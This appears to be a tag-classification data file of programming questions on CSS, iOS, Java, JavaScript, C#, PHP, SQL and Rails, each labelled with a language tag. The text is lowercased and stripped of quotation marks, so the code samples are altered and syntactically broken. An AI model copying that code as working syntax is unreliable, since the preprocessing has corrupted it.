what is  &  doing in css  just saw following in a css file  what is that &amp; mean    <pre><code>&amp; &gt; p {             margin-left: -15px;             margin-right: -15px; } </code></pre>,css
nsuserdefaults and kvo issues  i m using nsuserdefaults in my app and i would like to be notified when a particular value is changed. for that  i added the following lines in viewdidload:   <pre><code>nsuserdefaults *settings = [nsuserdefaults standarduserdefaults]; [settings synchronize]; [settings addobserver:self forkeypath:@ pref_server  options:nskeyvalueobservingoptionnew context:null]; </code></pre>   and the method to be notified:   <pre><code>- (void)observevalueforkeypath:(nsstring *)keypath ofobject:(id)object change:(nsdictionary *)change context:(void *)context {      nslog(@ change );      nsuserdefaults *settings = [nsuserdefaults standarduserdefaults];     if (object == settings &amp;&amp; [keypath isequaltostring:@ pref_server ])     {         nslog(@ server did change );     }  } </code></pre>   unfortunately  the latter is never called...@ pref_server  is the item identifier i have set in root.plist  in settings.bundle. what am i doing wrong,ios
which method calls when we tap on to the start recording button in uiimagepickerviewcontroller when capturing a video in iphone sdk   i need a help from your side that i am capturing a video through uiimagepickerviewcontroller and i need to know which method calls when we tap on to the start capturing button to set a timer to get the duration of the captured video.    guy s please help me to get rid of this.    thanks in advance  madan mohan.,objective-c
java.lang.classcastexception: cannot assign instance of java.lang.string to field co.ejb.util.defaultlogger.logger  we experience this issue when deploying to a cluster with availability enabled. it deploys to a standalone instance without issue.   <pre><code>[2016-11-08t15:25:04.013-0600] [payara 4.1] [warning] [] [org.glassfish.grizzly.http.server.request] [tid: _threadid=28 _threadname=http-thread-pool(3)] [timemillis: 1478640304013] [levelvalue: 900] [[   grizzly0204: unexpected error during afterservice notification java.lang.classcastexception: cannot assign instance of java.lang.string to field co.ejb.util.logging.defaultlogger.logger of type java.util.logging.logger in instance of co.ejb.util.logging.defaultlogger         at java.io.objectstreamclass$fieldreflector.setobjfieldvalues(objectstreamclass.java:2133) </code></pre>   here is the class file in question   <pre><code>package co.ejb.enterprise.interceptor;  import java.io.serializable; import java.lang.reflect.parameter;  import javax.annotation.priority; import javax.inject.inject; import javax.interceptor.aroundinvoke; import javax.interceptor.interceptor; import javax.interceptor.invocationcontext;  import co.ejb.util.logging.logger;  /**  * a {@link interceptor} that logs method parameters information in case an exception is thrown from a method  * in the annotated class.   *   * cdi lifecycle methods are not intercepted as they need to be targeted by a different type of interceptor and the   * lifecycle methods are not called with parameters.   */ @priority(interceptor.priority.application) @exceptionlogging @interceptor public class exceptionlogginginterceptor implements serializable {      private static final long serialversionuid = -3886994102592338607l;      @inject     private logger logger;      // methods     @aroundinvoke     public object hanlde(invocationcontext ic) throws exception {          try {              return ic.proceed();         } catch(throwable t) {              stringbuilder message = new stringbuilder( method name:  ).append(ic.getmethod().getname()).append(   method parameters:  );             int i = 0;             for (parameter param : ic.getmethod().getparameters()) {                 message.append( [ ).append(param.getname()).append(  :  ).append(ic.getparameters()[i]).append( ]   );                 i++;             }             if (i &gt; 0) {                 message.delete(message.length() - 2  message.length());             }             logger.warn(message.tostring());              throw t;         }     } } </code></pre>   this is the logger interface   <pre><code>package co.ejb.util.logging;  import java.io.serializable;  public interface logger extends serializable {     void info(string message);     void warn(string message);     void warn(throwable ex);     void warn(string message  throwable ex);     void error(string message);     void error(throwable ex);     void error(string message  throwable ex); } </code></pre>   the producer   <pre><code>package co.ejb.util.logging;  import javax.enterprise.inject.produces; import javax.enterprise.inject.spi.injectionpoint;  public class loggingproducer {      @produces     public logger defaultlogger(injectionpoint ip) {         return new defaultlogger(ip.getmember().getdeclaringclass().getname());     } } </code></pre>   and the default logger   <pre><code>package co.ejb.util.logging;  import java.util.logging.level;  import javax.enterprise.inject.default;  @default @logging() public class defaultlogger implements logger {      private static final long serialversionuid = 1l;      private final java.util.logging.logger logger;       public defaultlogger(string name) {         this.logger = java.util.logging.logger.getlogger(name);     }       @override     public void info(string message) {         logger.info(message);     }      @override     public void warn(string message) {         logger.warning(message);     }      @override     public void warn(throwable ex) {         logger.log(level.warning  ex.getmessage()  ex);     }      @override      public void warn(string message  throwable ex) {         logger.log(level.warning  message  ex);     }      @override     public void error(string message){         logger.severe(message);     }      @override     public void error(throwable ex) {         logger.log(level.severe  ex.getmessage()  ex);     }      @override     public void error(string message  throwable ex) {         logger.log(level.severe  message  ex);     } } </code></pre>,java
why is last element of an array only being populated for onclick in javascript  i am looping through an array of objects and i m experiencing strange behavior. here is my code:   <pre><code>  window.onload = function () {      document.getelementbyid( btnadd ).onclick = function () {         add( button );     };     function add(type) {         var names = {};         names[ one ] = { id:  button 1  msg: #1  };         names[ two ] = { id:  button 2   msg:  #2  };         names[ three ] = { id:  button 3   msg:  #3  };         //create an input type dynamically.         function addonclick(element  currentname) {               element.onclick = function () {                  alert( button is   + names[currentname].msg);             };           };                 for (name in names) {             var element = document.createelement( input );              element.type = type;             element.value = names[name].id;              element.name = name;                addonclick(element name);              var foo = document.getelementbyid( foobar );             //append the element in page (in span).               foo.appendchild(element);         }     } }; </code></pre>   heres the html:   <pre><code> &lt;p&gt; &lt;input type= button  id= btnadd  value= add buttons  /&gt; &lt;p id= foobar &gt;buttons:   &lt;/p&gt;  &lt;/p&gt; </code></pre>   if you run this in your browser  and the  add buttons  button  3 buttons are created and named appropriately. but if you click one of the 3 new buttons  the alert box always says  button is #3  and i have no idea why. can someone explain why the onclick event is only remembering the last item in my array  thanks,javascript
accessing root element in xmlschema  <br>    i am comapring my  xmlstring to xmlschema as  below code (i am using schema with  any element):   <pre><code>xmlreadersettings settings = new xmlreadersettings(); settings.dtdprocessing = dtdprocessing.parse; settings.validationtype = validationtype.schema; settings.validationflags |= xmlschemavalidationflags.processinlineschema; settings.validationflags |= xmlschemavalidationflags.allowxmlattributes; settings.validationflags |= xmlschemavalidationflags.reportvalidationwarnings;  settings.schemas.add(null  xmlreader.create(new stringreader(@ &lt;xs:schema  xmlns:xs=  http://www.w3.org/2001/xmlschema  &gt;                                                     &lt;xs:element name=  bpelements  &gt;                                                     &lt;xs:complextype&gt;                                                     &lt;xs:sequence&gt;                                                      &lt;xs:any /&gt;                                                     &lt;/xs:sequence&gt;                                                    &lt;/xs:complextype&gt;                                                 &lt;/xs:element&gt;                                              &lt;/xs:schema&gt; )));  try {     // create the xmlreader object.     xmlreader xmlrdr = xmlreader.create(new stringreader( &lt;root&gt;  + ab +  &lt;/root&gt; )  settings);     // parse the file.      while (xmlrdr.read()) ; } catch (xmlschemavalidationexception ex) {     console.writeline( the file could not read the value at xml  format is not correct due to  + ex); } </code></pre>   1)the exception i was getting root element missing.<br>    in order to avoid above error :when i add root element to my schema:<br> (ref :<a href= https://stackoverflow.com/questions/4254226/is-it-possible-to-define-a-root-element-in-an-xml-document-using-schema >is it possible to define a root element in an xml document using schema </a>)   <pre><code>settings.schemas.add(null  xmlreader.create(new stringreader(@ &lt;xs:schema  xmlns:xs=  http://www.w3.org/2001/xmlschema  &gt;                                                             &lt;xs:element name=  root   type=  rootelementtype  /&gt;                                                             &lt;xs:complextype name=  rootelementtype  &gt;                                                             &lt;xs:sequence&gt;                                                              &lt;xs:any /&gt;                                                             &lt;/xs:sequence&gt;                                                            &lt;/xs:complextype&gt;                                                         &lt;/xs:element&gt;                                                      &lt;/xs:schema&gt; ))); </code></pre>   it will throw error:   <pre><code>the  xs:schema  start tag on line 1 position 2 does not match the end tag of  xs:element . line 8  position 63. </code></pre>   please let me know how can this be resolved.,c#
how to count number of arguments to a format string in c   i ve got a program that takes a format string from the command line which represents the format for the filenames of multiple output files.  it should take just a single integer argument that can be substituted in to generate the real output filenames  and i d like to verify that when doing my input checking. what s a good way to determine the number of arguments a format string expects in c,c
python script web service timeout  we have had a python script running for many months now that simply scans through a directory of files  and posts each file to our web site via a web service call. the web site is also written in python.    for no apparent reason  this morning this script started throwing the following error:   <pre><code>urllib2.urlerror: &lt;urlopen error (10060   operation timed out )&gt; </code></pre>   the site itself is up and running just fine. there are no indications of any errors. the developer that was working on this site is no longer with us  and we do not have a strong python developer on staff as we are moving away from that.    before i do an all nighter and rewrite this thing in c#  i wanted to see if anyone had any experience dealing with this issue. i do know that the script is connecting to a secure site (https)  so i am not sure if something has come up with that  and i honestly dont know where to look to determine that. as i said before  the site itself isn t showing any signs of error  including ssl.    any thoughts,python
"invalidstateerror: failed to set the  value  property on  htmlinputelement  i have a input tag with type as file     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;input type= file  id= filetoupload  name= file  tabindex= 6   value=  /&gt;</code></pre>
 </div>
 </div>
     when i am selecting the file it gives me an error.   <blockquote>    jquery-2.1.3.js:7350 uncaught invalidstateerror: failed to set the    value  property on  htmlinputelement : this input element accepts a   filename  which may only be programmatically set to the empty string.  </blockquote>   i looked into the jquery code and found that it is because of     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code> hooks = jquery.valhooks[this.type] || jquery.valhooks[this.nodename.tolowercase()];
 
                 // if set returns undefined  fall back to normal setting
                 if (!hooks || !( set  in hooks) || hooks.set(this  val   value ) === undefined) {
                     this.value = val;
                 }</code></pre>
 </div>
 </div>
     a code snippet from jquery file.   <blockquote>    jquery.valhooks having object only for checkbox radio option and   select. there is no object for file.  </blockquote>   <a href= https://i.stack.imgur.com/ctv5k.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ctv5k.png  alt= enter image description here ></a>    <a href= https://i.stack.imgur.com/6ab6h.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/6ab6h.png  alt= enter image description here ></a>",jquery
remove enclosing p tag from around certain class  i am trying to remove any instance of a <code>&lt;p&gt;</code> tag wrapped around any element with a class of .cta.    for example:   <pre><code>&lt;p&gt;&lt;a href= #  class= cta &gt;test&lt;/a&gt;&lt;/p&gt; </code></pre>   to   <pre><code>&lt;a href= #  class= cta &gt;test&lt;/a&gt; </code></pre>   i am using the code below at the moment but it is removing all p tags from within my sidebar  i m just trying to make the jquery only target <p> tags that are enclosing .cta elements.   <pre><code>jquery( .sidepanel p ).contents().unwrap(); </code></pre>,jquery
rails - dynamic vs static application for an e-learning platform  i am about to start developing an e-learning platform where users will be able to watch educational videos for school curriculums and take quizes and so on. the part im not sure about is how exactly should i go about creating each course on the website. should i create it as a static page where all the content is added manually through code for each course and each video  or should i make it as a cms whereby each video for each course is uploaded through an upload form and then displayed (using paperclip for example)  can someone explain to me which is the best approach and why  baring in mind that video uploading will not be on the user s part  only i will be uploading and adding content to the website.,ruby-on-rails
reduce code using math operators  i have the following code running under ruby on rails  it is working but i know that we can reduce it using math operators  it that right     here is the code that is actually running:   <pre><code>def pms_guest_purchase if @effective_portal &amp;&amp; @effective_portal.name ==  rose splash portal  &amp;&amp;     #plan mp 1 dia 2 usuarios     (@guest.custom0 ==  mp  &amp;&amp; (@guest.custom6.to_i + @guest.custom7.to_i == 1))     @usage_plan = usageplan.find_by_id(62)     @usage_plans = [ @usage_plan ] elsif @effective_portal &amp;&amp; @effective_portal.name ==  rose splash portal  &amp;&amp;         #plan mp 1 dia 4 usuarios     (@guest.custom0 ==  mp  &amp;&amp; (@guest.custom6.to_i + @guest.custom7.to_i == 2))     @usage_plan = usageplan.find_by_id(64)     @usage_plans = [ @usage_plan ] elsif @effective_portal &amp;&amp; @effective_portal.name ==  rose splash portal  &amp;&amp;         #plan mp 1 dia 6 usuarios     (@guest.custom0 ==  mp  &amp;&amp; (@guest.custom6.to_i + @guest.custom7.to_i == 3))     @usage_plan = usageplan.find_by_id(104)     @usage_plans = [ @usage_plan ]       elsif @effective_portal &amp;&amp; @effective_portal.name ==  rose splash portal  &amp;&amp;         #plan mp 1 dia 8 usuarios     (@guest.custom0 ==  mp  &amp;&amp; (@guest.custom6.to_i + @guest.custom7.to_i == 4))     @usage_plan = usageplan.find_by_id(105)     @usage_plans = [ @usage_plan ] elsif @effective_portal &amp;&amp; @effective_portal.name ==  rose splash portal  &amp;&amp;         #plan mp 1 dia 10 usuarios     (@guest.custom0 ==  mp  &amp;&amp; (@guest.custom6.to_i + @guest.custom7.to_i == 5))     @usage_plan = usageplan.find_by_id(106)     @usage_plans = [ @usage_plan ] elsif @effective_portal &amp;&amp; @effective_portal.name ==  rose splash portal  &amp;&amp;         #plan mp 1 dia 12 usuarios     (@guest.custom0 ==  mp  &amp;&amp; (@guest.custom6.to_i + @guest.custom7.to_i == 6))     @usage_plan = usageplan.find_by_id(107)     @usage_plans = [ @usage_plan ] elsif @effective_portal &amp;&amp; @effective_portal.name ==  rose splash portal  &amp;&amp;         #plan mp 1 dia 14 usuarios     (@guest.custom0 ==  mp  &amp;&amp; (@guest.custom6.to_i + @guest.custom7.to_i == 7))     @usage_plan = usageplan.find_by_id(108)     @usage_plans = [ @usage_plan ] elsif @effective_portal &amp;&amp; @effective_portal.name ==  rose splash portal  &amp;&amp;         #plan mp 1 dia 14 usuarios     (@guest.custom0 ==  mp  &amp;&amp; (@guest.custom6.to_i + @guest.custom7.to_i == 8))     @usage_plan = usageplan.find_by_id(109)     @usage_plans = [ @usage_plan ] elsif @effective_portal &amp;&amp; @effective_portal.name ==  rose splash portal  &amp;&amp;         #plan mp 1 dia 14 usuarios     (@guest.custom0 ==  mp  &amp;&amp; (@guest.custom6.to_i + @guest.custom7.to_i == 9))     @usage_plan = usageplan.find_by_id(110)     @usage_plans = [ @usage_plan ] elsif @effective_portal &amp;&amp; @effective_portal.name ==  rose splash portal  &amp;&amp;         #plan mp 1 dia 14 usuarios     (@guest.custom0 ==  mp  &amp;&amp; (@guest.custom6.to_i + @guest.custom7.to_i == 10))     @usage_plan = usageplan.find_by_id(111)     @usage_plans = [ @usage_plan ] </code></pre>   end    i was trying this but looks like i’m doing wrong   <pre><code>if @effective_portal &amp;&amp; @effective_portal.name ==  rose splash portal  &amp;&amp;     #plan mp 1 dia 20 usuarios     (@guest.custom0 ==  mp  &amp;&amp;  ((@guest.custom6) + (@guest.custom7)) ==  2 )     @usage_plan = usageplan.find_by_id(64)     @usage_plans = [ @usage_plan ] </code></pre>   <code>elsif @effective_portal &amp;&amp; @effective_portal.name ==  guest splash policy  &amp;&amp;         #plan mp 1 dia 20 usuarios         (@guest.custom0 ==  mp  &amp;&amp; ((@guest.custom6) + (@guest.custom7)) ==  3 )         @usage_plan = usageplan.find_by_id(104)         @usage_plans = [ @usage_plan ] </code>    here is the full fiel  if that helps. <a href= https://mega.nz/#!snah1c5k!p0ms2zlh8mb7aduk9-3poopol8pl_txifxok1mbwuui  rel= nofollow noreferrer >full code.</a>    thanks in advance!,ruby-on-rails
asp.net upload your own photo and text  i am working on doing a webapplication that can be used by clients to upload there own newsarticle  i have done the pages but i cant figure out how to make the user upload there title  text and photo,asp.net
draw random image on a bubble image background like imessage  this is a chat app  the bubble is the background image  for text  i can just stretch the bubble image with  resizableimagewithcapinsets   and draw the text on the bubble. but problem is when it is a random image  how can i draw the image on the bubble the way it is in the attached picture  both ios message and imessage on mac show the image in this way.    <a href= http://i.stack.imgur.com/sgjhv.png  rel= nofollow >http://i.stack.imgur.com/sgjhv.png</a>,ios
netutils java library - how to make it work   i m trying for a while to use a library in java that i found a few months ago for edit packets. the library is  like  jnetpcap but much richer  and most important seems to be newer and less buggy... here is the open source homepage of the project: <a href= https://code.google.com/p/netutils/downloads/detail name=netutils_toturial.pdf&amp;can=2&amp;q=  rel= nofollow >https://code.google.com/p/netutils/downloads/detail name=netutils_toturial.pdf&amp;can=2&amp;q=</a> in the manual the person who wrote this library said we need to use  libnet.lib  and  netutils.dll  files. i m not really sure how to make it work  it seems to have a problam with the  netutils.dll  when trying to run a simple code. hope to get an answer from someone. thanks a-lot.,java
php exec  clearing output buffer after each exec call   i m using php s exec function to call an application on the command line:   <pre><code>foreach($jobs as $job) {     exec($job[ command ]  $output);      if($cmdoutput = json_decode($output[0]  true))         $log-&gt;addinfo($cmdoutput[ message ]);     else         $log-&gt;adderror( invalid json response ); } </code></pre>   the program from the commandline will return 1 line of output. it s always a json encoded string (unless there s an error that i haven t accounted for). for example:   <pre><code>{ response :false  message : no ads found } </code></pre>   the problem is the output buffer isn t cleared after each run  so the value of <code>$output[0]</code> is always the same on each iteration.    how can i clear the output buffer after each iteration,php
how to run sql update for 400 record   there are 400 faculty that i have to change their username to faculty00x and password00x. so that x is from 1 to 400. so for example first faculty will have  faculty001  as username and  password001  as password  and so on.    so i can use and update command at sql and change it one by one    <pre><code>update users  set loginname =  faculty001   password =  password001   where facultyid =  78388  and databaseid =  name of database  ; </code></pre>   but it will take forever. so is there anyway to do all at once  so that i do not have to it one by one     by the way this is how i can get the id of all 400 faculty from database.   <pre><code>select  oid    facultyid   from  public . users   where  databaseid  =  name of database   limit 400; </code></pre>,sql
can t rewrite setter methods in subclasses  i am creating a new class in obj-c called “complex” which will deal with complex numbers.    i have 4 instance variables declared in the .h as follows:   <pre><code>@property (nonatomic) double re  im; @property (nonatomic) double mod  arg; </code></pre>   and later  they are synthesized in the .m file:   <pre><code>@synthesize re  im; //real / imaginary parts @synthesize mod  arg; //modulus / argument parts </code></pre>   in the complex class  i have many methods which involve functions/operations with complex numbers. since each of these will only modify the complex number in either cartesian/polar form  i need a way to update the other form after a function.    i decided to do this by modifying the setter methods for all 4 variables (which is why i chose them to be nonatomic).    i’ve finished making this class  and everything works fine. however  i now would like to create 2 subclasses of complex which would be ccomplex (cartesian) and pcomplex (polar). these subclasses would only work with the cartesian/polar instance variables.     it would be ideal to use these classes when you don’t need to interact with the other form as it increases speed when you are performing functions with complex numbers several thousand/million times a second (since the updater in the setter methods would be skipped).    the problem i’m coming across is that i cannot rewrite the setter method in the subclasses  and nor can i recreate the instance variables (with the same names).    can someone help me with this problem please  thanks    edit: here s the relevant code:    here s how i tried to implement the setter methods in my subclasses at first:    .h   <pre><code>@interface ccomplex : complex  @property (nonatomic) double re  im; // ////setter methods -(void) setre:(double)r; -(void) setim:(double)i; //// // @end  @interface pcomplex : complex  @property (nonatomic) double mod  arg; // ////setter methods -(void) setmod:(double)m; -(void) setarg:(double)a; //// // @end </code></pre>   .mm   <pre><code>@implementation ccomplex  @synthesize re  im;  // ////setter methods -(void) setre:(double)r {     re = r; } -(void) setim:(double)i {     im = i; } //// // @end  @implementation pcomplex  @synthesize mod  arg; // ////setter methods -(void) setmod:(double)m {     mod = m; } -(void) setarg:(double)a {     arg = a; } //// // @end </code></pre>   <a href= https://i.stack.imgur.com/lsy2u.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/lsy2u.png  alt= error messages in .mm file ></a>,objective-c
do angular global variables have the same visibility and usage as $scope   i just now learned that angular has global variables:    <a href= http://pterkildsen.com/2012/11/16/angularjs-tips-and-tricks/  rel= nofollow >angular values</a>   <pre><code>var app = angular.module( mysuperduperapp   [ someexternalmodule ]);  // define global variables app.value( globals   {         db : null          databasename :  serviceapp           image_max_height: 620          image_quality: 0.7     } ); </code></pre>   some questions regarding usage.    <ul> <li>can a global variable have its value changed </li> <li>to change it (if possible) can i just refer to it by it s name such as db in any controller script </li> <li>can i access a global variable in my html with just the name only </li> </ul>,angularjs
ios images sizes  i m having doubts regarding the size of the images at different resolutions.    <strong>example:</strong>     i have a button in the gui i inserted it in size 100x50. my background pictures for this button to 1x  2x  3x must be of sizes which  in px or pt     i did some tests and insert them for their size 100x50 1x  2x and 3x 300x150 200x100 (in px). but the images were of poor quality.    <strong>ps:</strong> i ve seen the documentation but also those doubts were not very clear,ios
separating loading data and ui via threading in objective c/cocoa  i m currently developing an iphone application that loads data via a webservice into a table. right now i have it loading the data and creating/displaying my cells via <code>[tableview cellforrowatindexpath]</code> on two separate threads. my problem is that i need the data to create my cells.     so currently i load my data into an array on one thread and lock the cell creation part on the other thread until completion. once completed i go back to my main thread  unlock the cell creation part and continue.     this actually makes the whole process slower. i m trying to figure out a design so that i can speed up this process.,ios
css only smoothe scrolling movement  does anyone know how the guys at <strong><a href= http://www.adtech.com/home/  rel= nofollow noreferrer >http://www.adtech.com/home/</a></strong> were able to achieve the smooth scrolling affect at the bottom part of their homepage  it seems this is done using css only (no flash  no js).     note - this is for learning purposes only (not trying to copy anything here). it s just that i ve never seen such a  smooth  affect being done with css only  and one which works perfectly on all browsers at that...    i d appreciate it if someone can point me at the right direction...,css
check for string in txt file on remote server  hey guys im trying to search for the word <code>error</code> in different subfolders on a remote server. to enter the subfolders i use a variable in the path. my code is not working it always outputs <code>not found</code>  but for testing i inserted in a few .txt files the word <code>error</code>. so whats wrong with my code    <pre><code>$file_to_check =  file://bgsttc11/backup/ .$stask[$j][1]. /log.txt ;             echo $path_to_check. &lt;br&gt; ;             if (strstr($path_to_check   error )) {             echo  found&lt;br&gt; ;             }              else {             echo  not found&lt;br&gt; ;             } </code></pre>,php
"how to display blog post snippets on blog time-line and home page etc  i recently purchased a responsive website template and i am pretty confused as to how my blog posts would automatically show blog post snippets(intro) on my blog timeline and homepage. i am using umbraco cms (6.1.5) and this is my blog post html code:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;!--[if ie 8 ]&gt;&lt;html lang= en  class= isie ie8 oldie no-js &gt;&lt;![endif]--&gt;
 &lt;!--[if ie 9 ]&gt;&lt;html lang= en  class= isie ie9 no-js &gt;&lt;![endif]--&gt;
 &lt;!--[if (gt ie 9)|!(ie)]&gt;&lt;!--&gt;
 &lt;html lang= en  class= no-js &gt;
 &lt;!--&lt;![endif]--&gt;
 &lt;head&gt;
 &lt;!-- meta tags --&gt;
 &lt;meta charset= utf-8 &gt;
 &lt;meta http-equiv= x-ua-compatible  content= ie=edge &gt;
 &lt;meta name= viewport  content= width=device-width  initial-scale=1 &gt;
 &lt;meta name= description  content= &lt;umbraco:item field= postmetadescription  runat= server  /&gt; &gt;
 &lt;!-- title --&gt;
 &lt;title&gt;&lt;umbraco:item field= posttitle  runat= server  /&gt;&lt;/title&gt;
 &lt;!-- favicon --&gt;
 &lt;link rel= shortcut icon  href= img/favicon.jpg  type= image/x-icon /&gt;
 &lt;!-- google fonts --&gt;
 &lt;link href= http://fonts.googleapis.com/css family=open+sans:300 400 400italic 700  rel= stylesheet  type= text/css &gt;
 &lt;!-- stylesheets --&gt;
 &lt;link rel= stylesheet  id= twitter-bootstrap-css  href= css/bootstrap.min.css  type= text/css  media= all /&gt;
 &lt;link rel= stylesheet  id= fontello-css  href= css/fontello.css  type= text/css  media= all /&gt;
 &lt;link rel= stylesheet  id= prettyphoto-css-css  href= js/prettyphoto/css/prettyphoto.css  type= text/css  media= all /&gt;
 &lt;link rel= stylesheet  id= animation-css  href= css/animation.css  type= text/css  media= all /&gt;
 &lt;link rel= stylesheet  id= perfectscrollbar-css  href= css/perfect-scrollbar-0.4.10.min.css  type= text/css  media= all /&gt;
 &lt;link rel= stylesheet  id= jquery-validity-css  href= css/jquery.validity.css  type= text/css  media= all /&gt;
 &lt;link rel= stylesheet  id= jquery-ui-css  href= css/jquery-ui.min.css  type= text/css  media= all /&gt;
 &lt;link rel= stylesheet  id= style-css  href= css/style.css  type= text/css  media= all /&gt;
 &lt;link rel= stylesheet  id= mobilenav-css  href= css/mobilenav.css  type= text/css  media= screen and (max-width: 838px) /&gt;
 &lt;!-- jquery --&gt;
 &lt;script src= scripts/jquery-1.11.1.min.js &gt;&lt;/script&gt;
 &lt;!--[if lt ie 9]&gt;
             &lt;script&gt;
                 document.createelement( header );
                 document.createelement( nav );
                 document.createelement( section );
                 document.createelement( article );
                 document.createelement( aside );
                 document.createelement( footer );
                 document.createelement( hgroup );
             &lt;/script&gt;
         &lt;![endif]--&gt;
 &lt;!--[if lt ie 9]&gt;
             &lt;script src= scripts/html5.js &gt;&lt;/script&gt;
         &lt;![endif]--&gt;
 &lt;!--[if lt ie 7]&gt;
             &lt;script src= scripts/icomoon.js &gt;&lt;/script&gt;
         &lt;![endif]--&gt;
 &lt;!--[if lt ie 9]&gt;
             &lt;link href= css/ie.css  rel= stylesheet &gt;
         &lt;![endif]--&gt;
 &lt;!--[if lt ie 9]&gt;
             &lt;script src= scripts/jquery.placeholder.js &gt;&lt;/script&gt;
             &lt;script src= scripts/script_ie.js &gt;&lt;/script&gt;
         &lt;![endif]--&gt;
 &lt;/head&gt;
 &lt;body class= w1170 headerstyle1 &gt;
 &lt;!-- marine content wrapper --&gt;
 &lt;body class= w1170 headerstyle1 &gt;
 &lt;!-- marine content wrapper --&gt;
 &lt;div id= marine-content-wrapper &gt;
  &lt;header id= header  class= style6 &gt;
 &lt;div id= upper-header &gt;
  &lt;div class= container &gt;
   &lt;div class= row &gt;
    &lt;div class= col-lg-12 col-md-12 col-sm-12 &gt;
     &lt;div class= item left hidden-separator &gt;
      &lt;ul id= menu-shop-header  class= menu &gt;
       
       
      &lt;/ul&gt;
     &lt;/div&gt;
     &lt;div class= item right hidden-separator &gt;
      
       
       &lt;div class= shopping-cart-dropdown &gt;
       &lt;div class= cart-menu-item  &gt;
        &lt;div class= sc-header &gt;
        &lt;/div&gt;
       &lt;/div&gt;
      &lt;/div&gt;
     &lt;/div&gt;
    &lt;/div&gt;
   &lt;/div&gt;
  &lt;/div&gt;
 &lt;/div&gt;
 &lt;!-- main header --&gt;
 &lt;div id= main-header &gt;
  &lt;div class= container &gt;
   &lt;div class= row &gt;
    &lt;!-- logo --&gt;
    &lt;div class= col-lg-4 col-md-4 col-sm-4 logo &gt;
     &lt;a href= index.html  title= marine  rel= home &gt;&lt;img class= logo  src= img/marine-logo.png  alt= marine &gt;&lt;/a&gt;
     &lt;div id= main-nav-button &gt;
      &lt;span&gt;&lt;/span&gt;
      &lt;span&gt;&lt;/span&gt;
      &lt;span&gt;&lt;/span&gt;
     &lt;/div&gt;
    &lt;/div&gt;
    &lt;div class= col-sm-8 align-right &gt;
     &lt;!-- text list --&gt;
     &lt;ul class= text-list &gt;
      &lt;li&gt;call us: +1 800 450 17 08&lt;/li&gt;
     &lt;/ul&gt;
     &lt;!-- social media --&gt;
     &lt;ul class= social-media &gt;
      &lt;li&gt;&lt;a target= _blank  href= http://facebook.com &gt;&lt;i class= icon-facebook &gt;&lt;/i&gt;&lt;/a&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a target= _blank  href= http://twiiter.com/google &gt;&lt;i class= icon-twitter &gt;&lt;/i&gt;&lt;/a&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a target= _blank  href= http://google.com &gt;&lt;i class= icon-google &gt;&lt;/i&gt;&lt;/a&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a target= _blank  href= http://linkedin.com &gt;&lt;i class= icon-linkedin &gt;&lt;/i&gt;&lt;/a&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a target= _blank  href= http://instagram.com &gt;&lt;i class= icon-instagram &gt;&lt;/i&gt;&lt;/a&gt;
      &lt;/li&gt;
     &lt;/ul&gt;
    &lt;/div&gt;
   &lt;/div&gt;
  &lt;/div&gt;
 &lt;/div&gt;
 &lt;!-- /main header --&gt;
 &lt;!-- lower header --&gt;
 &lt;div id= lower-header &gt;
  &lt;div class= container &gt;
   &lt;div class= row &gt;
    &lt;div class= col-lg-12 col-md-12 col-sm-12 &gt;
     &lt;div class= lower-logo &gt;
      &lt;a href= index.html  title= marine  rel= home &gt;&lt;img class= logo  src= img/marine-logo.png  alt= marine &gt;&lt;/a&gt;
     &lt;/div&gt;
     &lt;!-- main navigation --&gt;
     &lt;ul id= main-nav &gt;
     &lt;ul class= mainmenu &gt;
       &lt;li&gt;&lt;a href= http://www.redflyseo.co.za  title= home &gt;home&lt;/a&gt;&lt;/li&gt;
       &amp;nbsp|&amp;nbsp
       &lt;li&gt;&lt;a href= http://www.redflyseo.co.za/seo  title= seo &gt;seo&lt;/a&gt;&lt;/li&gt;
       &amp;nbsp|&amp;nbsp
       &lt;li&gt;&lt;a href= http://www.redflyseo.co.za/social-media  title= social media &gt;social media&lt;/a&gt;&lt;/li&gt;
       &amp;nbsp|&amp;nbsp
       &lt;li&gt;&lt;a href= http://www.redflyseo.co.za/content-marketing  title= content marketing &gt;content marketing&lt;/a&gt;&lt;/li&gt;
       &amp;nbsp|&amp;nbsp
       &lt;li&gt;&lt;a href= http://www.redflyseo.co.za/digital-audits  title= digital audits &gt;digital audits&lt;/a&gt;&lt;/li&gt;
       &amp;nbsp|&amp;nbsp
       &lt;li&gt;&lt;a href= http://www.redflyseo.co.za/sme-business-package  title= sme business package &gt;sme business package&lt;/a&gt;&lt;/li&gt;
       &amp;nbsp|&amp;nbsp
       &lt;li&gt;&lt;a href= http://www.redflyseo.co.za/blog  title= blog &gt;blog&lt;/a&gt;&lt;/li&gt;
       &amp;nbsp|&amp;nbsp
       &lt;li&gt;&lt;a href= http://www.redflyseo.co.za/contact-us  title= contact us &gt;contact us&lt;/a&gt;&lt;/li&gt;
      &lt;/ul&gt;
     &lt;!-- /main navigation --&gt;
   &lt;/div&gt;
  &lt;/div&gt;
 &lt;/div&gt;
 &lt;!-- /lower header --&gt;
 &lt;script type= text/javascript &gt;
 //&lt;![cdata[
   (function() {
     var shr = document.createelement( script );
     shr.setattribute( data-cfasync    false );
     shr.src =  //dsms0mj1bbhn4.cloudfront.net/assets/pub/shareaholic.js ;
     shr.type =  text/javascript ; shr.async =  true ;
     shr.onload = shr.onreadystatechange = function() {
       var rs = this.readystate;
       if (rs &amp;&amp; rs !=  complete  &amp;&amp; rs !=  loaded ) return;
       var site_id =  4703ccf47ac9b99588c7a6fb9d1b4ce2 ;
       try { shareaholic.init(site_id); } catch (e) {}
     };
     var s = document.getelementsbytagname( script )[0];
     s.parentnode.insertbefore(shr  s);
   })();
 //]]&gt;
 &lt;/script&gt;
